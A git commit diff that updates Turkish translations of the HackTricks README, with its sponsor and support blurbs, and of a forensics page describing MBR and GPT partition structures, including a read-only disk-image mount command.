Translated ['README.md', 'forensics/basic-forensic-methodology/partition

This commit is contained in:
Translator 2024-03-09 13:19:34 +00:00
parent 118ab5e932
commit 8b2b1ac03e
25 changed files with 1346 additions and 2795 deletions

View file

@ -2,10 +2,10 @@
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logosu ve hareketli tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**CTF'lerden, gerçek hayattaki uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesi/teknik/ne varsa bulabileceğiniz wiki'ye hoş geldiniz.**
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.**
{% endhint %}
Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde takip etmeniz gereken **tipik akışı** bulacağınız bu sayfayı takip edin:
@ -24,9 +24,9 @@ _Şirketiniz burada olabilir._
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), **HACK THE UNHACKABLE** sloganını benimseyen harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentest, Kırmızı Takımlar ve eğitim gibi birçok değerli siber güvenlik hizmeti sunarlar.
[**STM Cyber**](https://www.stmcyber.com), **HACK THE UNHACKABLE** sloganıyla bilinen harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar.
[**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresindeki **blog**larını kontrol edebilirsiniz.
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz.
**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de desteklemektedir :)
@ -34,7 +34,7 @@ _Şirketiniz burada olabilir._
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'nın en önemli ve **Avrupa**'nın en önemli siber güvenlik etkinliğidir. Teknik bilginin teşvik edilmesi misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde bir araya geldiği kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -42,9 +42,9 @@ _Şirketiniz burada olabilir._
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti**, **Avrupa'nın #1** etik hackleme ve **bug bounty platformudur.**
**Intigriti**, Avrupa'nın en iyi etik hackleme ve ödül avı platformudur.
**Bug bounty ipucu**: **Hackerlar tarafından oluşturulan** bir premium **bug bounty platformu olan Intigriti'ye** kaydolun! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bounties kazanmaya başlayın ve **$100,000**'e kadar kazanç elde edin!
**Ödül avı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **ödül avı platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -53,42 +53,28 @@ _Şirketiniz burada olabilir._
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Siber güvenlik oyununda bir adım önde kalın.
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks), zafiyet yönetimini kolaylaştırır. Saldırı yüzeyinizi takip edin, şirketinizin zayıf noktalarını görün ve sistemlerinizi en çok açık bırakan sorunlara öncelik verin, böylece önemli olan konulara odaklanabilirsiniz.
İç altyapıdan web uygulamalarına, API'lere ve bulut sistemlerine kadar tüm teknoloji yığınınızı kapsayan tek bir platformda binlerce kontrol çalıştırın. [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) ile sorunsuz entegrasyon sağlayın ve ekibinizin düzeltmeleri daha hızlı uygulamasına olanak tanıyın.
Intruder asla dinlenmez. Sistemlerinizi 7/24 izleyen sürekli koruma sağlar. Daha fazla bilgi edinmek mi istiyorsunuz? Siteyi ziyaret edin ve [**ücretsiz deneme**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) ile deneyin.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve bug bounty avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking Insights**\
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşimde bulunun
Hacklemenin heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
**En Son Duyurular**\
Yeni bug bounty'lerin başlatılması ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Başlatılan en yeni ödül avlarını ve önemli platform güncellemelerini takip edin
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
***
@ -96,7 +82,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın ve en iy
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
**20+'den fazla araç ve özellikle tam bir pentest** yapabilme imkanı sunan **anında kullanılabilir zemin**. Pentester'ları değiştirmiyoruz - onlara daha derine inme, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
@ -104,16 +90,17 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın ve en iy
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla dünyanın her yerindeki işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
WebSec, Pentest, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlası gibi **hepsi bir arada bir güvenlik şirketidir**.
WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İnceleme, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını içeren **her şeyi yapan bir güvenlik şirketidir**.
WebSec hakkında başka bir harika şey, WebSec'in endüstri ortalamasının aksine **becerilerine çok güvendiği** ve en iyi kalite sonuçları garanti ettiği, web sitelerinde belirtildiği "**Eğer hackleyemezsek, ödeme yapmazsınız!**". Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec hakkında başka harika bir şey, WebSec'in endüstri ortalamasının aksine becerilerine çok güvendiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçlarını garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **bağlı bir destekçisidir**.
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**.
{% embed url="https
## Lisans ve Feragatname
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Lisans & Sorumluluk Reddi
**Onları kontrol edin:**
@ -123,14 +110,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **bağlı bir dest
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -1,69 +1,67 @@
# Bölümler/Dosya Sistemleri/Kazıma
## Bölümler/Dosya Sistemleri/Kazıma
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**]'ni(https://peass.creator-spring.com) edinin
* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
## Bölümler
Bir sabit disk veya **SSD diski**, verileri fiziksel olarak ayırmak amacıyla farklı bölümler içerebilir.\
Bir diskin **minimum** birimi **sektördür** (genellikle 512B'den oluşur). Bu nedenle, her bölüm boyutu bu boyutun katı olmalıdır.
Bir sabit disk veya **SSD diski, verileri fiziksel olarak ayırmak amacıyla farklı bölümler içerebilir**.\
Diskin **minimum** birimi **sektördür** (genellikle 512B'den oluşur). Bu nedenle, her bölüm boyutu bu boyutun katı olmalıdır.
### MBR (Master Boot Record)
### MBR (master Boot Record)
MBR, **önyükleme kodunun 446B'sinden sonra diskin ilk sektörüne** ayrılır. Bu sektör, PC'ye bir bölümün ne olduğunu ve nereden bağlanması gerektiğini belirtmek için önemlidir.\
En fazla **4 bölüm** (en fazla **sadece 1** aktif/**önyüklenebilir**) izin verir. Ancak, daha fazla bölüm gerekiyorsa **genişletilmiş bölümler** kullanabilirsiniz. Bu ilk sektörün son baytı, önyükleme kaydı imzası olan **0x55AA**'dır. Yalnızca bir bölüm etkin olarak işaretlenebilir.\
MBR, **maksimum 2.2TB**'a izin verir.
Bu, diskteki **ilk sektörde, önyükleme kodunun 446B'sinden sonra ayrılan alandır**. Bu sektör, PC'ye bir bölümün ne olduğunu ve nereden bağlanması gerektiğini göstermek için gereklidir.\
**4 bölümü** destekler (en fazla **yalnızca 1** aktif/**önyüklenebilir** olabilir). Ancak, daha fazla bölüme ihtiyacınız varsa **genişletilmiş bölümleri** kullanabilirsiniz. Bu ilk sektörün son baytı, önyükleme kaydı imzası **0x55AA**'dır. Yalnızca bir bölüm aktif olarak işaretlenebilir.\
MBR, **maksimum 2.2TB**'ye izin verir.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
MBR'nin **440 ile 443** baytı arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un önyüklenmesini engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
MBR'nin **440 ile 443** baytı arasında **Windows Disk İmzası** (Windows kullanılıyorsa) bulunabilir. Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un önyükleme yapmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Biçim**
| Offset | Uzunluk | Öğe |
| ----------- | ---------- | -------------------- |
| 0 (0x00) | 446(0x1BE) | Önyükleme kodu |
| 446 (0x1BE) | 16 (0x10) | İlk Bölüm |
| 462 (0x1CE) | 16 (0x10) | İkinci Bölüm |
| 478 (0x1DE) | 16 (0x10) | Üçüncü Bölüm |
| 494 (0x1EE) | 16 (0x10) | Dördüncü Bölüm |
| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA |
| Offset | Uzunluk | Öğe |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Önyükleme kodu |
| 446 (0x1BE) | 16 (0x10) | İlk Bölüm |
| 462 (0x1CE) | 16 (0x10) | İkinci Bölüm |
| 478 (0x1DE) | 16 (0x10) | Üçüncü Bölüm |
| 494 (0x1EE) | 16 (0x10) | Dördüncü Bölüm |
| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA |
**Bölüm Kayıt Biçimi**
| Offset | Uzunluk | Öğe |
| --------- | --------- | -------------------------------------------------------- |
| 0 (0x00) | 1 (0x01) | Etkin bayrak (0x80 = önyüklenebilir) |
| 1 (0x01) | 1 (0x01) | Başlangıç başlığı |
| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bitler 0-5); silindirin üst bitleri (6-7) |
| 3 (0x03) | 1 (0x01) | Başlangıç silindiri en düşük 8 bit |
| 4 (0x04) | 1 (0x01) | Bölüm türü kodu (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Bitiş başlığı |
| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bitler 0-5); silindirin üst bitleri (6-7) |
| 7 (0x07) | 1 (0x01) | Bitiş silindiri en düşük 8 bit |
| 8 (0x08) | 4 (0x04) | Bölümden önceki sektörler (little endian) |
| 12 (0x0C) | 4 (0x04) | Bölümdeki sektörler |
| Offset | Uzunluk | Öğe |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Aktif bayrak (0x80 = önyüklenebilir) |
| 1 (0x01) | 1 (0x01) | Başlangıç başlık |
| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bitler 0-5); silindirin üst bitleri (6- 7) |
| 3 (0x03) | 1 (0x01) | En düşük 8 bit başlangıç silindiri |
| 4 (0x04) | 1 (0x01) | Bölüm türü kodu (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Bitiş başlık |
| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bitler 0-5); silindirin üst bitleri (6- 7) |
| 7 (0x07) | 1 (0x01) | En düşük 8 bit bitiş silindiri |
| 8 (0x08) | 4 (0x04) | Bölümden önceki sektörler (little endian) |
| 12 (0x0C) | 4 (0x04) | Bölümdeki sektörler |
Linux'ta bir MBR'yi bağlamak için önce başlangıç ofsetini almanız gerekir (`fdisk` ve `p` komutunu kullanabilirsiniz)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Ve ardından aşağıdaki kodu kullanın
```bash
@ -74,82 +72,82 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Mantıksal blok adresleme)**
**Mantıksal blok adresleme** (**LBA**), genellikle sabit disk sürücüleri gibi ikincil depolama sistemlerinde saklanan veri bloklarının konumunu belirlemek için kullanılan yaygın bir şemadır. LBA, özellikle basit bir lineer adresleme şemasıdır; bloklar, bir tamsayı diziniyle belirlenir, ilk blok LBA 0, ikinci blok LBA 1 ve böyle devam eder.
**Mantıksal blok adresleme** (**LBA**), genellikle sabit disk sürücüleri gibi bilgisayar depolama cihazlarında depolanan veri bloklarının konumunu belirlemek için kullanılan yaygın bir şemadır. LBA, özellikle basit bir lineer adresleme şemasıdır; **bloklar bir tamsayı dizini ile belirlenir**, ilk blok LBA 0, ikinci LBA 1 ve böyle devam eder.
### GPT (GUID Bölüm Tablosu)
GUID Bölüm Tablosu olarak bilinen GPT, MBR (Master Boot Record) ile karşılaştırıldığında gelişmiş yetenekleri nedeniyle tercih edilir. Bölümler için **benzersiz bir tanımlayıcıya** sahip olan GPT, birkaç yönden öne çıkar:
GUID Bölüm Tablosu olarak bilinen GPT, MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında gelişmiş yetenekleri nedeniyle tercih edilir. Bölümler için **benzersiz bir tanımlayıcıya** sahip olan GPT, birkaç ıdan öne çıkar:
- **Konum ve Boyut**: Hem GPT hem de MBR, **sektör 0**'dan başlar. Ancak GPT, MBR'nin 32 bitine karşılık gelen **64 bit** üzerinde çalışır.
- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölümü** destekler ve **9.4ZB** veriye kadar yer sağlar.
- **Bölüm İsimleri**: Bölmelere 36 Unicode karakterle isim verme yeteneği sunar.
* **Konum ve Boyut**: Hem GPT hem de MBR **0. sektörde** başlar. Ancak, GPT, MBR'nin 32 bitine karşılık olarak **64 bit** üzerinde çalışır.
* **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölümü** destekler ve **9.4ZB** veriye kadar olan kapasiteyi destekler.
* **Bölüm Adları**: Bölmeleri 36 Unicode karaktere kadar adlandırma olanağı sunar.
**Veri Dayanıklılığı ve Kurtarma**:
- **Yedeklilik**: MBR'nin aksine, GPT bölümleme ve önyükleme verilerini tek bir yerde sınırlamaz. Bu veriyi diskin her yerine kopyalar, veri bütünlüğünü ve dayanıklılığını artırır.
- **Döngüsel Redundans Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC kullanır. Veri bozulması aktif olarak izlenir ve tespit edildiğinde, GPT bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır.
* **Yedeklilik**: MBR'nin aksine, GPT bölümlendirme ve önyükleme verilerini tek bir yere sınırlamaz. Bu verileri diskin üzerinde çoğaltarak veri bütünlüğünü ve dayanıklılığını artırır.
* **Döngüsel Redundans Kontrolü (CRC)**: GPT, veri bütünlüğünü sağlamak için CRC'yi kullanır. Veri bozulması için aktif olarak izleme yapar ve tespit edildiğinde, GPT, bozulmuş veriyi başka bir disk konumundan kurtarmaya çalışır.
**Koruyucu MBR (LBA0)**:
- GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu korur. Bu özellik, eski MBR tabanlı araçların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için eski MBR alanında bulunur ve böylece GPT biçimli disklerdeki veri bütünlüğünü korur.
* GPT, koruyucu bir MBR aracılığıyla geriye dönük uyumluluğu korur. Bu özellik, eski MBR tabanlı yardımcı programların yanlışlıkla GPT disklerini üzerine yazmasını önlemek için tasarlanmıştır, böylece GPT biçimli disklerde veri bütünlüğünü korur.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**Hybrid MBR (LBA 0 + GPT)**
**Karma MBR (LBA 0 + GPT)**
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
BIOS hizmetleri aracılığıyla **GPT tabanlı önyükleme**yi destekleyen işletim sistemlerinde, ilk sektör aynı zamanda **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **değiştirilerek** GPT **bölümlerini** tanımak üzere. MBR'deki önyükleyici, 512 bayt sektör boyutunu varsaymamalıdır.
BIOS hizmetleri aracılığıyla **GPT tabanlı önyükleme**yi destekleyen işletim sistemlerinde, ilk sektör aynı zamanda **önyükleme yükleyicisinin** ilk aşamasını depolamak için de kullanılabilir, ancak **değiştirilerek** GPT **bölümlerini** tanıyacak şekilde. MBR'deki önyükleme yükleyicisi, 512 baytlık bir sektör boyutunu varsaymamalıdır.
**Bölüm tablosu başlığı (LBA 1)**
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Bölüm tablosu başlığı, diske kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetler).
Bölüm tablosu başlığı, disktaki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetler).
| Ofset | Uzunluk | İçerik |
| -------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya küçük uçlu makinelerde 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)) |
| -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)little-endian makinelerde) |
| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) |
| 12 (0x0C)| 4 bayt | Küçük uçlu başlık boyutu (genellikle 5Ch 00h 00h 00h veya 92 bayt) |
| 16 (0x10)| 4 bayt | Başlık için [CRC32](https://en.wikipedia.org/wiki/CRC32) (ofset +0'dan başlık boyutuna kadar) küçük uçlu, bu alan hesaplama sırasında sıfırlanır |
| 20 (0x14)| 4 bayt | Rezerve edilmiş; sıfır olmalı |
| 24 (0x18)| 8 bayt | Geçerli LBA (bu başlık kopyasının konumu) |
| 12 (0x0C)| 4 bayt | Başlık boyutu little-endian (genellikle 5Ch 00h 00h 00h veya 92 bayt) |
| 16 (0x10)| 4 bayt | Başlık CRC32'si (başlangıçtan başlık boyutuna kadar olan ofset) little-endian, bu alan hesaplama sırasında sıfırlanır |
| 20 (0x14)| 4 bayt | Ayrılmış; sıfır olmalıdır |
| 24 (0x18)| 8 bayt | Geçerli LBA (bu başlık kopyasının konumu) |
| 32 (0x20)| 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) |
| 40 (0x28)| 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosu son LBA + 1) |
| 48 (0x30)| 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosu ilk LBA - 1) |
| 56 (0x38)| 16 bayt | Karışık uçlu disk GUID'i |
| 72 (0x48)| 8 bayt | Bölüm girişlerinin bir dizisinin başlangıç LBA'sı (her zaman birincil kopyada 2) |
| 80 (0x50)| 4 bayt | Dizideki bölüm girişlerinin sayısı |
| 40 (0x28)| 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosu son LBA + 1) |
| 48 (0x30)| 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosu ilk LBA 1) |
| 56 (0x38)| 16 bayt | Karışık endian'da Disk GUID'i |
| 72 (0x48)| 8 bayt | Bölüm girişlerinin bir dizi başlangıç LBA'sı (her zaman birincil kopyada 2) |
| 80 (0x50)| 4 bayt | Dizi içindeki bölüm girişlerinin sayısı |
| 84 (0x54)| 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) |
| 88 (0x58)| 4 bayt | Küçük uçlu bölüm girişleri dizisinin CRC32'i |
| 92 (0x5C)| \* | Geri kalan blok için sıfır olması gereken rezerve edilmiş alan (512 bayt sektör boyutu için 420 bayt; ancak daha büyük sektör boyutlarıyla daha fazla olabilir) |
| 88 (0x58)| 4 bayt | Küçük endian'da bölüm girişleri dizisinin CRC32'si |
